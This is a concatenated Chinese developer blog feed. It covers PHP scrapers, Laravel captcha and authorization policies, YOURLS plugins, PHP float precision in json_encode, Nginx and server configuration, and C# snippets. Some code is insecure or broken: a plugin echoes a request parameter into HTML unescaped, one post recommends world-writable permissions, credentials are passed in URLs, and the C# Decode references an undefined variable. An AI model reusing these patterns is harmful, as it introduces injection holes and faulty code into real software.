$wallpaper_id = explode('.', explode('-', $datum)[1])[0];
// 将壁纸id push 到 redis 中
$client->lpush('wallpaper_id_queue', $wallpaper_id);
}
}
} else {
echo 'no data. page: ' . $page . PHP_EOL;
break;
}
$page++;
echo 'now page: ' . $page . PHP_EOL;
}while(true);
运行截图:

Redis 中保存的壁纸id

下载壁纸这一步很简单,只需要从 redis 中不停的取出壁纸id,然后通过下载地址将壁纸下载到本地。
require 'vendor/autoload.php';
use QL\QueryList;
use Predis\Client;
$client = new Predis\Client('tcp://127.0.0.1:6379');
while(true) {
// 从 redis 中取出壁纸id
$wallpaper_id = $client->rpop('wallpaper_id_queue');
if($wallpaper_id == 'nil' || $wallpaper_id == ''){
// 如果壁纸id为空的话就休眠5秒钟
echo 'not have wallpaper data, sleep 5 second...' . PHP_EOL;
sleep(5);
continue;
}
try {
downloadWallpaper($wallpaper_id);
// 验证壁纸是否保存成功
if (file_exists('./wallpaper/' . 'wallpaper-' . $wallpaper_id . '.jpg')) {
echo 'success: ' . $wallpaper_id . PHP_EOL;
} else {
echo 'fail: ' . $wallpaper_id . PHP_EOL;
}
} catch (Exception $e) {
echo 'img exception, sleep 1 second...' . PHP_EOL;
sleep(1);
}
};
/**
* 下载壁纸
* @param $wallpaper_id
* @return int
*/
function downloadWallpaper($wallpaper_id) {
// 拼接下载地址
$download_url = $url = "http://www.huanse.net/download.php?wallpaper={$wallpaper_id}&type=1";
set_time_limit (24 * 60 * 60);
$destination_folder = './wallpaper/';
if (!is_dir($destination_folder)) {
mkdirs($destination_folder);
}
$newfname = $destination_folder . 'wallpaper-' . $wallpaper_id . '.jpg';
$file = fopen ($url, "rb");
if ($file) {
$newf = fopen ($newfname, "wb");
if ($newf)
while (!feof($file)) {
fwrite($newf, fread($file, 1024 * 8), 1024 * 8);
}
}
if ($file) {
fclose($file);
}
if ($newf) {
fclose($newf);
}
return 0;
}
##运行效果
运行截图:

保存的壁纸:

]]>爬取壁纸id脚本的脚本用一个窗口执行就够了,下载壁纸的脚本可以多开几个窗口运行,提高壁纸下载速度。
在网站中,为了防止恶意通过数据字典撞库攻击、注册机批量注册账号,会使用一些防范措施,比如图片验证码、手机验证码、手势验证码、Geetest。今天就介绍一下如何使用 mews/captcha 扩展包防止恶意注册。
Laravel 自带了 用户认证功能,我们将使用此功能来快速构建登录注册。
首先执行生成用户认证脚手架命令:
$ php artisan make:auth
在 .env 中配置数据库连接信息:
...
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=数据库名称
DB_USERNAME=数据库用户名
DB_PASSWORD=数据库密码
...
执行迁移,创建用户认证相关表结构:
$ php artisan migrate
运行结果:
$ php artisan migrate
Migration table created successfully.
Migrating: 2014_10_12_000000_create_users_table
Migrated: 2014_10_12_000000_create_users_table
Migrating: 2014_10_12_100000_create_password_resets_table
Migrated: 2014_10_12_100000_create_password_resets_table
这时候你打开数据库就能看到 migrations、users 两张表,migrations 是用来记录数据库迁移日志的,users 则是用户表,用于登录/注册。
手动在浏览器中打开 http://127.0.0.1:8000/register,就能看到注册界面了。
http://127.0.0.1:8000使用的是 PHP 内置的服务器,可以使用php artisan serve命令来启动 PHP 服务器,你也可以使用自己的运行环境。

在 上一篇文章 中已经介绍过如何安装 Captcha,这里就不赘述了。
首先要在确认密码输入框下面加入一个验证码输入框及图片验证码。
打开 resources/views/auth/register.blade.php 视图文件,添加如下代码:
...
<div class="form-group{{ $errors->has('code') ? ' has-error' : '' }}">
<label for="password-confirm" class="col-md-4 control-label">Verification Code</label>
<div class="col-md-3">
<input id="password-confirm" type="text" class="form-control" name="code" required>
@if ($errors->has('code'))
<span class="help-block">
<strong>{{ $errors->first('code') }}</strong>
</span>
@endif
</div>
<div class="col-md-3">
<img src="{{ captcha_src() }}" alt="点击刷新" onclick="this.src='{{ url('captcha/default') }}?s='+Math.random()">
</div>
</div>
...
刷新注册页面:

接下来就是在校验参数的方法中增加校验验证码的规则,打开 app/Http/Controllers/Auth/RegisterController.php,修改 validator 方法:
protected function validator(array $data)
{
return Validator::make($data, [
'name' => 'required|string|max:255',
'email' => 'required|string|email|max:255|unique:users',
'password' => 'required|string|min:6|confirmed',
'code' => 'required|captcha',
]);
}
故意输入错误的验证码:

可以看到验证码的输入框变成了红色,但是提示的信息 validation.captcha 有点问题,并不是正确的提示语。
我们需要手动配置验证失败的提示语,打开 resources/lang/en/validation.php 文件,在 key 为 url 后下面一行添加提示语:
'url' => 'The :attribute format is invalid.',
'captcha' => '验证码错误。',
再次输入错误的验证码,就可以看到配置的提示语了:

最后我们按照规则输入正确的参数,就可以通过验证注册成功了:

mews/captcha 是一个图片验证码扩展包,通过它我们能够快速的为 Laravel 增加验证码的功能。
使用 Composer 安装扩展包:
$ composer require mews/captcha
如果是在 Windows 环境中,需要在 php.ini 文件中取消
php_gd2.dll、php_fileinfo.dll、php_mbstring.dll的注释,这些都是 mews/captcha 依赖的组件。
打开 config/app.php 。
在 key 为 providers 的数组中注册 Captcha 服务提供者。
'providers' => [
// ...
Mews\Captcha\CaptchaServiceProvider::class,
]
在 key 为 aliases 的数组中注册 Captcha 别名。
'aliases' => [
// ...
'Captcha' => Mews\Captcha\Facades\Captcha::class,
]
生成配置文件 config/captcha.php。
$ php artisan vendor:publish --provider="Mews\Captcha\CaptchaServiceProvider"
打开 config/captcha.php 文件,其中有四种图片验证码的配置,通过修改里面的参数来调整生成的验证码的规则,你可以通过新建一个 key 创建新的配置,这里我们使用的默认的配置(default)。
return [
// 生成的验证码字符集
'characters' => '2346789abcdefghjmnpqrtuxyzABCDEFGHJMNPQRTUXYZ',
'default' => [
'length' => 5, // 验证码字符长度
'width' => 120, // 图片长度
'height' => 36, // 图片高度
'quality' => 90, // 图片质量
],
'flat' => [...],
'mini' => [...],
'inverse' => [...]
];
接下来我们用一个发布帖子的例子来展示如何在 Laravel 中使用 Captcha。
首先在 routes/web.php 文件中添加相关路由。
Route::get('posts/create', 'PostsController@showCreateForm')->name('posts.create');
Route::post('posts', 'PostsController@store')->name('posts.store');
创建 PostsController 控制器。
$ php artisan make:controller PostsController
在 PostsController 中添加路由中对应的方法。
/*
* 显示发布帖子的表单
*/
public function showCreateForm()
{
return view('posts.create');
}
/*
* 保存一篇新的帖子
* @param Request $request
*/
public function store(Request $request)
{
// 验证并存储帖子...
}
创建视图文件 resources/views/posts/create.blade.php,其中 @if ($errors->any()) 代码片段是用输出表单验证失败时的错误提示。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>发布帖子</title>
</head>
<body>
@if ($errors->any())
<ul style="color:red;">
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
@endif
<form action="{{ route('posts.store') }}" method="post">
帖子标题:<input type="text" name="title"> <br/>
帖子内容:<input type="text" name="content"> <br/>
验 证 码:<input type="text" name="code"> <img src="{{ captcha_src() }}" alt="点击刷新" onclick="this.src='{{ url('captcha/default') }}?s='+Math.random()"> <br/>
<input type="hidden" name="_token" value="{{ csrf_token() }}">
<input type="submit" value="提交">
</form>
</body>
</html>
在浏览器中打开 http://127.0.0.1:8000/posts/create 就可以看到这个页面了,点击验证码可以刷新验证码。
http://127.0.0.1:8000使用的是 PHP 内置的服务器,可以使用php artisan serve命令来启动 PHP 服务器,你也可以使用自己的运行环境。

接下来在 store 方法中编写验证表单的的逻辑。
/**
* 保存一篇新的帖子
* @param Request $request
*/
public function store(Request $request)
{
// 验证表单的规则
$rules = [
'title' => 'required|string|max:255',
'content' => 'required|string|max:1000',
'code' => 'required|captcha',
];
// 使用 rules 验证表单
$request->validate($rules);
// 验证成功则存入数据库
echo '添加成功';
}
这里用到了 Laravel 中的表单验证,不清楚的可以先看一下 表单验证机制详解
'code' => 'required|captcha' 表示 code 这个参数是必需的,并使用 captcha 规则来验证该字段。然后使用 Request 对象中的 validate 方法对请求的参数进行校验。
如果验证失败则会返回到来源页面,并将验证失败的错误信息存到 Session 中,在页面上可以通过 $errors->all() 来获取错误信息。
如果我们什么都不填,直接提交表单,就会看到如下图的提示。

如果按照 $rules 的验证规则来填写表单就可以看到 发布成功 ,表示参数都已经通过验证了。
// 获取验证码图片
captcha(); // Captcha::create();
// 获取验证码图片地址(http://127.0.0.1:8000/captcha/default?Lh6ngrPi)
captcha_src(); // Captcha::src();
// 获取验证码 HTML (<img src="http://127.0.0.1:8000/captcha/default?Lh6ngrPi" >)
captcha_img(); // Captcha::img();
// 使用其它配置
captcha_src('flat'); // Captcha::src('flat');
在上一篇文章 给 YOURLS 短网址系统编写插件《Hello World!》 中,用了一个简单的例子介绍了如何给 YOURLS 编写插件,让我们对 YOURLS 插件的实现步骤有了一些了解。
YOURLS 自带的功能一次只能生成一个短网址,如果想要一次让多个 url 生成多个短网址,那么就需要《批量生成短网址》这个插件了。
在这个插件中需要一个参数:
urls 以英文的逗号分割的 url 字符串, 例如 https://baidu.com,https://youku.com,https://csdn.com接收到 urls 后,先使用 explode 函数将 urls 字符串分割为 url 数组,然后遍历 url 数组,对数组中的值进行编码过滤,再调用系统方法生成短网址,最后将结果返回。
完整代码:
<?php
/*
Plugin Name: Batch generation shorturl
Plugin URI: https://github.com/her-cat/batch-generation-shorturl
Description: Batch generation of short URLs
Version: 1.0
Author: 她和她的猫
Author URI: https://github.com/her-cat
*/
// 注册插件
yourls_add_filter( 'api_action_batch_generation', 'batch_generation_shorturl' );
// 插件核心内容
function batch_generation_shorturl() {
// 判断是否传入参数 urls
if( !isset( $_REQUEST['urls'] ) ) {
return array(
'statusCode' => 400,
'simple' => "Need a 'urls' parameter",
'message' => 'error: missing param',
);
}
$urls = $_REQUEST['urls'];
// 将 urls 以 , 分割为 url 数组
$url_arr = explode( ',', $urls );
// 存放结果集
$result = array();
// 遍历 url 数组
foreach ( $url_arr as $url ) {
// 对 url 进行编码过滤
$url = yourls_encodeURI( $url );
$url = yourls_escape( yourls_sanitize_url( $url ) );
// 生成短网址
$return = yourls_add_new_link( $url );
// 判断是否生成功
if (isset($return['statusCode']) && $return['statusCode'] == 200 ) {
// 加入结果集中
$result[] = [
'raw_url' => $url, // 原 url
'keyword' => $return['url']['keyword'], // 短网址关键词
'shorturl' => $return['shorturl'], // 生成的短网址
];
}
}
// 输出 json 格式结果
echo json_encode($result);exit;
}
请求地址:
http://域名或ip地址/yourls-api.php?username=你的登录账户&password=你的登录密码&action=batch_generation&urls=https://baidu.com,https://youku.com,https://csdn.com
结果:
[{
"raw_url": "https://baidu.com",
"keyword": "1",
"shorturl": "http://yourls.com/1"
}, {
"raw_url": "https://youku.com",
"keyword": "2",
"shorturl": "http://yourls.com/2"
}, {
"raw_url": "https://csdn.com",
"keyword": "3",
"shorturl": "http://yourls.com/3"
}]
最重要的是要知道 YOURLS 自带的函数有哪些,以及它们的用法,最后将他们组合起来。
这篇文章没有将如何安装、启用插件,不了解的可以参考上一篇文章。
最后,不知不觉七月份就过去了,这一个月断断续续的写了5篇文章,最后一篇拖延了十多天,拖延症发作,一边感叹着时间过得真快,感觉自己就是一条咸鱼,一边看着这几篇文章,感觉又好像做了些什么,留下了一点东西。
这大概就是写博客的原因吧。
]]>YOURLS (Your Own URL Shortener) 是一款开源的PHP程序,让你可以轻松建立属于自己的短网址生成系统。而无需第三方平台你就可以获得所有的数据统计,并且支持一系列插件扩展。
Github:https://github.com/YOURLS/YOURLS
看完了简介之后现在开始介绍如何为 YOURLS 编写插件,下载安装的步骤就不在这里多说,可以根据项目里面 readme.html 的介绍来进行安装。
YOURLS 的插件都放在 根目录/user/plugins/ 下面,一个插件一个目录。每个目录下面的 plugin.php 就是插件的入口文件,也是插件的核心所在,一般会有 README.md 文件来介绍这个插件。

在 根目录/user/plugins/ 目录下创建一个名叫 say-hello 的目录,并创建 plugin.php 文件,用来编写插件的逻辑。
plugin.php 内容:
<?php
/*
Plugin Name: Say Hello
Plugin URI: http://yourls.org/
Description: Sample plugin to illustrate how actions and filters work.
Version: 0.1
Author: 她和她的猫
Author URI: https://blog.csdn.net/qq_42451060
*/
// 防止被直接访问
if( !defined( 'YOURLS_ABSPATH' ) ) die();
// 注册插件
yourls_add_filter( 'api_action_say_hello', 'say_hello' );
// 编写插件逻辑
function say_hello()
{
$content = isset($_GET['content']) ? $_GET['content'] : 'Hello World!';
echo "<h1>{$content}</h1>";
exit;
}
文件开始的那一段注释用来描述这个插件的名称、插件地址、描述、版本号、作者、作者url 等信息,这些信息将会在管理后台的插件列表里面展示。
然后判断是否定义了 YOURLS_ABSPATH 常量,如果没有定义的话将直接停止运行,用于防止直接通过 url 访问插件。
通过 yourls_add_filter 函数向程序注册这个插件。第一个参数是定义了当前插件被触发的 hook 名称,可以把这个当作插件的唯一名称来理解。其中 api_action_ 是固定的,后面跟的是插件的名字(api_action_{插件名称}),插件名称在后面调用的时候会用到。第二个参数是当插件被调用的时候,让哪个函数去处理这个请求,所以我们在下面定义了一个名为 say_hello 的函数,用来编写实现这个插件的功能。
函数功能很简单,接收content参数,如果不存在的话就使用默认的值,最后输出 content。
要想插件能够被调用,要先在管理后台启用插件。

可以看到在 plugin.php 文件中的注释信息都被展示出来了。
将插件启用后,点击菜单 Tools,找到 signature,用于调用接口时验证身份信息。

接下来就是如何调用插件了,url 如下:
http://域名或ip地址/yourls-api.php?action=say_hello&signature=005154be54
action 是调用的插件名称。signature 用于验证调用这个的身份信息。上面的是 signature 调用方式,另外一种是帐号密码的方式:
http://域名或ip地址/yourls-api.php?action=say_hello&username=her-cat&password=123456
这种方式容易将帐号信息暴露,所以不推荐这种方式。
运行结果:

带上 content 参数:
http://域名或ip地址/yourls-api.php?action=say_hello&signature=005154be54&content=她与她的猫

重点:插件的注册与调用。
推荐看一下 YOURLS 的插件系统的实现原理,挺有收获的。
Ending…
]]>7.1.13 版本,在使用过程中发现 浮点类型 数据经过 json_encode 之后会出现精度问题。
举个例子:
$data = [
'stock' => '100',
'amount' => 10,
'price' => 0.1
];
var_dump($data);
echo json_encode($data);
输出结果:
array(3) {
["stock"]=> string(3) "100"
["amount"]=> int(10)
["price"]=> float(0.1)
}
{
"stock":"100",
"amount":10,
"price":0.10000000000000001
}
网上说可以通过调整 php.ini 中 serialize_precision (序列化精度) 的大小来解决这个问题。
; When floats & doubles are serialized store serialize_precision significant
; digits after the floating point. The default value ensures that when floats
; are decoded with unserialize, the data will remain the same.
; The value is also used for json_encode when encoding double values.
; If -1 is used, then dtoa mode 0 is used which automatically select the best
; precision.
serialize_precision = 17
按照说明,将这个值改为 小于 17 的数字就解决了这个问题。
后来又发现一个折中的办法,就是将 float 转为 string 类型。
$data = [
'stock' => '100',
'amount' => 10,
'price' => (string)0.1
];
var_dump($data);
echo json_encode($data);
输出结果:
array(3) {
["stock"]=> string(3) "100"
["amount"]=> int(10)
["price"]=> string(3) "0.1"
}
{
"stock":"100",
"amount":10,
"price":"0.1"
}
这样子也解决了问题,但是总感觉不太方便,所以就有了这个函数。
/**
* @param $data 需要处理的数据
* @param int $precision 保留几位小数
* @return array|string
*/
function fix_number_precision($data, $precision = 2)
{
if(is_array($data)){
foreach ($data as $key => $value) {
$data[$key] = fix_number_precision($value, $precision);
}
return $data;
}
if(is_numeric($data)){
$precision = is_float($data) ? $precision : 0;
return number_format($data, $precision, '.', '');
}
return $data;
}
测试:
$data = [
'stock' => '100',
'amount' => 10,
'price' => 0.1,
'child' => [
'stock' => '99999',
'amount' => 300,
'price' => 11.2,
],
];
echo json_encode(fix_number_precision($data, 3));
输出结果:
{
"stock":"100",
"amount":"10",
"price":"0.100",
"child":{
"stock":"99999",
"amount":"300",
"price":"11.200"
}
}
]]>PS: php 版本 >= 7.1 均会出现此问题。
Policy(即策略)是在特定模型或者资源中组织授权逻辑的类,用来处理用户授权动作。
比如在博客程序中会有一个 Article 模型,这个模型就会有一个相应的 ArticlePolicy 来对用户的操作进行授权,比如在修改一篇文章时,我们会这样写:
$article = Article::find(1)
// 校验这篇是否属于当前用户
if ($article->user_id == Auth::id()) {
// 修改文章
}
return true;
Policy 其实就是将校验的逻辑从控制器转移到相对应的模型策略 (ArticlePolicy) 中。
使用 php artisan make:policy ArticlePolicy 命令生成 Policy,保存在 app/Policies 目录下。
然后在 app/Providers/AuthServiceProvider.php 的 policies 数组中注册该策略,将 Article 模型与对应的 ArticlePolicy 策略进行绑定。
<?php
namespace App\Providers;
use App\Models\Article;
use App\Policies\ArticlePolicy;
use Illuminate\Support\Facades\Gate;
use Illuminate\Foundation\Support\Providers\AuthServiceProvider as ServiceProvider;
class AuthServiceProvider extends ServiceProvider
{
/**
* 应用的策略映射。
*
* @var array
*/
protected $policies = [
Article::class => ArticlePolicy::class,
];
/**
* 注册任意用户认证、用户授权服务。
*
* @return void
*/
public function boot()
{
$this->registerPolicies();
//
}
}
接下来就在 ArticlePolicy 策略中编写校验用户是否拥有修改文章的权限的方法。
<?php
namespace App\Policies;
use App\Models\Article;
use App\User;
class ArticlePolicy
{
public function update(User $user, Article $article)
{
return $user->id == $article->user_id;
}
}
在 update 方法中判断文章作者id是否等于当前登录的用户id,返回 true 或 false。true 可以进行修改操作,false 则会抛出没有权限。
然后就是在控制器中的使用了。
<?php
namespace App\Http\Controllers;
use App\Models\Article;
use Illuminate\Http\Request;
class ArticleController extends Controller
{
public function edit(Request $request, Article $article)
{
// 校验用户是否有操作权限
$this->authorize('update', $article);
// 更新文章
$article->fill($request->all());
$article->save();
}
}
authorize 的第一个参数表示本次验证使用 ArticlePolicy 里面的 update 方法, $article 实例用来判断使用哪一种策略,当然也可以不用指定具体实例,只需要传递一个类名。
$this->authorize('update', Article::class);
好吧,有了问题光抱怨是没用的,问题还是得解决。
打开终端(快捷方式:ctrl + alt + t),然后输入 sudo gedit /etc/ppp/options,需要输入密码。
在 gedit 中找到 lcp-echo-failure 4,然后将 4 改为 30。
然后就大功告成了。
俗话说的好,授之以鱼,不如授之以渔,翻译成现代话就是,你TM总吃我的鱼,不知道自己去钓啊?!
lcp-echo-failure 4 的意思就是断网的话会自动重新连接4次。文档中还有一个参数 lcp-echo-interval 30,这个的意思就是每次重新连接的间隔为 30 秒。也就是说,如果120秒以内,ADSL 服务器没有给回 echo-relpy 信号,Ubuntu 就会认为网络出现了问题,马上中断重连…所以也就是为什么隔一会就让你输入密码连接 WiFi。
生命在于折腾!
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
在学习了一段时间 Larvel 后,写了个生成短网址小应用,把应用部署到服务器上的时候就出现了问题…..
以此文祭奠我失去的青春…
在服务器上配置完成后,打开浏览器访问域名,返回该地址无法响应请求,什么错误信息都没有。于是建了一个 PHP 文件,访问后正常运行,说明环境是没问题的。经过搜索,有人说要给 storage 权限,执行命令:
sudo chmod -R 777 storage/
还是不能运行,又看到文章说先要让 PHP 显示错误信息。首先要找到你的 php.ini 文件,可以通过 whereis php.ini 来进行搜索,我的路径是 /usr/local/php/etc/php.ini,然后将 display_errors = Off 改成 On。
cd /usr/local/php/etc
vim php.ini
保存以后重启 Nginx 服务:
service nginx restart
刷新页面就可以看到报错信息:
Warning: require(): open_basedir restriction in effect. File(/home/www/ShortUrl/bootstrap/autoload.php) is not within the allowed path(s): (/home/www/ShortUrl/public/:/tmp/:/proc/) in /home/www/ShortUrl/public/index.php on line 22
Warning: require(/home/www/ShortUrl/bootstrap/autoload.php): failed to open stream: Operation not permitted in /home/www/ShortUrl/public/index.php on line 22
Fatal error: require(): Failed opening required '/home/www/ShortUrl/public/../bootstrap/autoload.php' (include_path='.:/usr/local/php/lib/php') in /home/www/ShortUrl/public/index.php on line 22
open_basedir 可以将用户访问文件的活动范围限制在指定的区域,而上面的错误的意思就是 /home/www/ShortUrl/bootstrap/autoload.php 不在允许的路径:/home/www/ShortUrl/public/:/tmp/:/proc/里面。
因为 Laravel 入口文件在 public 目录下面,所以默认访问文件的活动范围只能在 public 目录。但是 Laravel 的代码目录都与 public 同级,也就是在 public 外面,当 index.php 请求代码目录的时候,就会抛出异常。
解决办法就是设置 open_basedir 的值,改变用户访问文件的活动范围。依旧是打开 php.ini 文件,在文件末尾加上一下内容:
[HOST=example.com]
open_basedir=/home/www/ShortUrl/:/tmp/
[PATH=/home/www/ShortUrl/public]
open_basedir=/home/www/ShortUrl/:/tmp/
HOST 就是 Laravel 应用的域名,PATH 就是应用的入口目录。刷新页面,Laravel 就可以正常运行了。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
在 Ubuntu 下安装软件非常的方便,几条命令就可以完成软件的下载和安装,不多说,直接上命令。
sudo apt-get update # 更新源
sudo apt-get install redis-server # 安装 redis
redis-server
Redis 安装完成!
首先安装 wget 工具,该工具可以从网络上自动下载文件。
sudo apt-get update # 更新源
sudo apt-get install wget # 安装 wget
下载 Composer:
wget https://getcomposer.org/composer.phar
下载完成后,使用 mv 命令重命名文件 composer.phar 为 composer。
mv composer.phar composer
修改 composer 文件的权限
chmod +x composer
到这里,Composer 基本上就安装完成了,但是只能在当前目录使用 ./composer 命令运行,要想能够全局使用,只需要将 composer 移动到 /usr/local/bin 目录即可。
sudo mv composer /usr/local/bin
然后在终端输入 composer ,显示下面这个就说明安装成功了。
______
/ ____/___ ____ ___ ____ ____ ________ _____
/ / / __ \/ __ `__ \/ __ \/ __ \/ ___/ _ \/ ___/
/ /___/ /_/ / / / / / / /_/ / /_/ (__ ) __/ /
\____/\____/_/ /_/ /_/ .___/\____/____/\___/_/
/_/
Composer version 1.4.2 2017-05-17 08:17:52
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
先品尝一下《PHP使用file_get_contents()函数实现采集网页》,食用更佳哦。
首先,要获取该页面的html内容,随便打开一个小说章节目录的地址,例如 http://book.zhulang.com/427458/。可以使用 curl,也可以使用 file_get_contents() 函数,因为不用模拟请求头等操作,我就直接用第二种方式。
获取到 HTML 后要进行过滤,将一些换行符、空格进行过滤,使得 HTML 比较干净。
$content = file_get_contents('http://book.zhulang.com/427458/');
$content=str_replace("\n",'',$content);
$content=str_replace("\r",'',$content);
$content=str_replace("\r\n",'',$content);
$content=str_replace(" ",'',$content);
拿到 HTML 内容后,使用 preg_match_all() 函数将章节目录的html块提取出来,缩小了匹配范围,也减少了出现错误数据的可能性。
preg_match_all('/<divclass=\"chapter-list\">(.*)<\/div>/', $content, $chapterHtml);
$chapterHtml = $chapterHtml[1][0];
preg_match_all() 函数第一个参数是正则表达式,第二个参数是需要匹配的内容,第三个参数是储存匹配结果的数组,$chapterHtml[0] 包含整个模式匹配的文本,$chapterHtml[1] 是包含第一个括号(正则表达式(http://book.zhulang.com/\d+/\d+.html))中所匹配的文本,$chapterHtml[2] 就是第二个括号,以此类推。
这一步就是观察章节地址的格式,举个例子:
http://book.zhulang.com/427458/152725.html
格式:
http://book.zhulang.com/数字/数字.html
然后编写正则表达式:
/(http:\/\/book\.zhulang\.com\/\d+\/\d+\.html)/
这样章节地址就出来了,然后编写匹配标题的表达式:
/\"title=\"[\W|\d]+\">(.*?)<\/a>
最后合在一起,并打印:
preg_match_all('/(http:\/\/book\.zhulang\.com\/\d+\/\d+\.html)\"title=\"[\W|\d]+\">(.*?)<\/a>/', $chapterHtml, $result);
var_dump($result);
得到如下结果:
array (size=3)
0 =>
array (size=72)
0 => string 'http://book.zhulang.com/427458/46802.html"title="第一章捕鱼2017-06-3014:47">第一章捕鱼</a>' (length=100)
1 => string 'http://book.zhulang.com/427458/46803.html"title="第二章神女梦2017-06-3014:48">第二章神女梦</a>' (length=106)
2 => string 'http://book.zhulang.com/427458/46805.html"title="第三章绿液2017-06-3014:48">第三章绿液</a>' (length=100)
3 => string 'http://book.zhulang.com/427458/46807.html"title="第四章卖参2017-06-3014:49">第四章卖参</a>' (length=100)
......
1 =>
array (size=72)
0 => string '46802' (length=5)
1 => string '46803' (length=5)
2 => string '46805' (length=5)
3 => string '46807' (length=5)
......
2 =>
array (size=72)
0 => string '第一章捕鱼' (length=15)
1 => string '第二章神女梦' (length=18)
2 => string '第三章绿液' (length=15)
3 => string '第四章卖参' (length=15)
......
还是跟上面一样,$result[0] 是包含整个模式匹配的文本,$result[1] 就是第一个括号((http://book.zhulang.com/\d+/\d+.html))匹配出来的章节地址的数组,$result[1] 就是第二个括号((.*?))匹配出来的章节标题的数组。完整代码:
$content = file_get_contents('http://book.zhulang.com/427458/');
$content=str_replace("\n",'',$content);
$content=str_replace("\r",'',$content);
$content=str_replace("\r\n",'',$content);
$content=str_replace(" ",'',$content);
preg_match_all('/<divclass=\"chapter-list\">(.*)<\/div>/', $content, $chapterHtml);
$chapterHtml = $chapterHtml[1][0];
preg_match_all('/(http:\/\/book\.zhulang\.com\/\d+\/\d+\.html)\"title=\"[\W|\d]+\">(.*?)<\/a>/', $chapterHtml, $result);
for ($i = 0; $i < count($result[0]); $i++)
{
echo '标题:' . $result[2][$i] . ' ---- URL地址:' . $result[1][$i] . '<br>';
}
这里只讲了如何获取章节地址及标题,小说列表、小说正文的采集的方法其实都差不多,主要还是观察 div 结构,然后再编写正则表达式。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
首先需要找到 Nginx 的配置文件:
/usr/local/nginx/conf/vhost
这是默认的地址,如果自定义了地址,就按照实际情况进行操作。
然后在 server{…} 里面插入一个 if 判断:
if ($scheme = http) {
return 301 https://$host$request_uri;
}
大概的意思就是, 如果 scheme 是 http,则返回 301 状态码,并重定向至 https:// 域名 地址还有一种就是判断端口的:
if ($server_port = 80) {
return 301 https://$host$request_uri;
}
因为 http 是走 80 端口的,而 https 是443,所以对端口进行判断也是可以的。
最后保存配置文件,并重启 Nginx 服务。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
这个星期也没干什么,每天都在看公司项目的代码,然后看看框架的文档。刚来公司,认识的人也不多,虽然交流的比较少,但是工作氛围还是很不错的。
付费后浏览
因为 ServiceStack.Redis 不支持我们传统所认为的“多个线程共享一个对象”线程安全。血与泪的教训。
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
Write a function that will return the count of distinct case-insensitive alphabetic characters and numeric digits that occur more than once in the input string.The input string can be assumed to contain only alphanumeric characters, including digits, uppercase and lowercase alphabets.
"abcde" -> 0 # no characters repeats more than once
"aabbcde" -> 2 # 'a' and 'b'
"aabbcdeB" -> 2 # 'a' and 'b'
"indivisibility" -> 1 # 'i'
"Indivisibilities" -> 2 # 'i' and 's'
"aa11" -> 2 # 'a' and '1'
函数功能:计算字符串中重复的字符有多少个。我们只要先判断字符是否重复,然后再计算有多少个字符重复。
using System;
using System.Linq;
public class Kata
{
public static int DuplicateCount(string str)
{
// 将字符串转成char数组
char[] charArr = str.ToLower().ToCharArray();
// 定义int类型数组,用于储存字符重复次数
int[] arr = new int[123];
foreach (char item in charArr)
{
// 将char类型转成int类型,并作为数组的key
arr[(int)item]++;
}
// 找出重复次数大于2的字符,并返回总数
return arr.Where(e => e >= 2).Count();
}
}
using System;
using System.Linq;
public class Kata{
public static int DuplicateCount(string str)
{
return str.ToList().GroupBy(x => Char.ToLower(x)).ToDictionary(x => x.Key, x => x.Count()).Where(d => d.Value >= 2).Select(v => v).Count();
}
}
using System;
using System.Text.RegularExpressions;
using System.Linq;
public class Kata{
public static int DuplicateCount(string str)
{
str = String.Join("", str.ToLower().OrderBy(c => c));
return Regex.Matches(str, @"(.)\1+").Count;
}
}
题目地址:Train: Counting Duplicates | Codewars
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
附上代码:
/// <summary>
/// Base64编码及解码
/// </summary>
public class Base64
{
public static string Encode(string data)
{
try
{
byte[] dataByte = new byte[data.Length];
dataByte = System.Text.Encoding.UTF8.GetBytes(data);
string encodedData = Convert.ToBase64String(dataByte);
return encodedData;
}
catch (Exception e)
{
throw new Exception(e.Message);
}
}
/// <summary>
/// 解码(UTF8)
/// </summary>
/// <param name="data"></param>
/// <returns></returns>
public static string Decode(string data)
{
try
{
byte[] outputb = Convert.FromBase64String(data);
string result = System.Text.Encoding.UTF8.GetString(outputb);
return result;
}
catch (Exception e)
{
throw new Exception(se.Message);
}
}
}
使用方法:
string encodeStr = Base64.Encode("她和她的猫");
string decodeStr = Base64.Decode(encodeStr);
]]>这是一篇过去很久的文章,其中的信息可能已经有所发展或是发生改变。
在 Controller 中定义动态类型的对象传递给视图,报错无法找到成员。
Controller:
public ActionResult Index()
{
ViewBag.User = new { name = "她和她的猫", age = 20 };
return View();
}
视图:
姓名:@ViewBag.User.name
年龄:@ViewBag.User.age
按道理来说,这样写是没问题的,但是运行后却说Model中不存在‘name’。
然后经过一番百度才找到了答案,因为 dynamic 是“匿名类型”,它的访问级是 internal,所以只有在同一程序集的文件中才是可以访问的。ASP.NET MVC 在编译的时候,会将 cshtml 视图和 Controller 分别编译成两个 DLL 文件,因此视图是无法访问到 Controller 所在程序集的 internal 成员的。
第一种解决办法是使用 Moon.Cecil 修改程序集,将所有匿名类型的访问级别修改成 public。可以说是从问题根源解决了问题,但是这个方法我并没有成功,我也不知道哪里出错了,所以就不讲详细过程了。想了解的话可以看看使用Mono.Cecil辅助ASP.NET MVC使用dynamic类型Model
第二种解决办法是使用ExpandoObject类型。ExpandoObject 是一种可以在运行时动态添加、删除成员的类型,并且可以跨程序集访问。
使用方法:
public ActionResult Index()
{
dynamic expandoObj = new ExpandoObject();
expandoObj.name= "她和她的猫";
expandoObj.age = 20;
ViewBag.User = expandoObj;
return View();
}
这种方法虽然解决了跨程序集访问的问题,但是每次都要 new 一个 ExpandoObject 对象,然后再为它手动添加成员,就显得有点麻烦了,所以就有了第三种方法。
第三种方法是先将匿名对象转换成 JSON 格式的字符串,然后再将 JSON 字符串转换成 JSON 对象。
这里我用的是 Newtonsoft.Json 来对 JSON 进行操作。
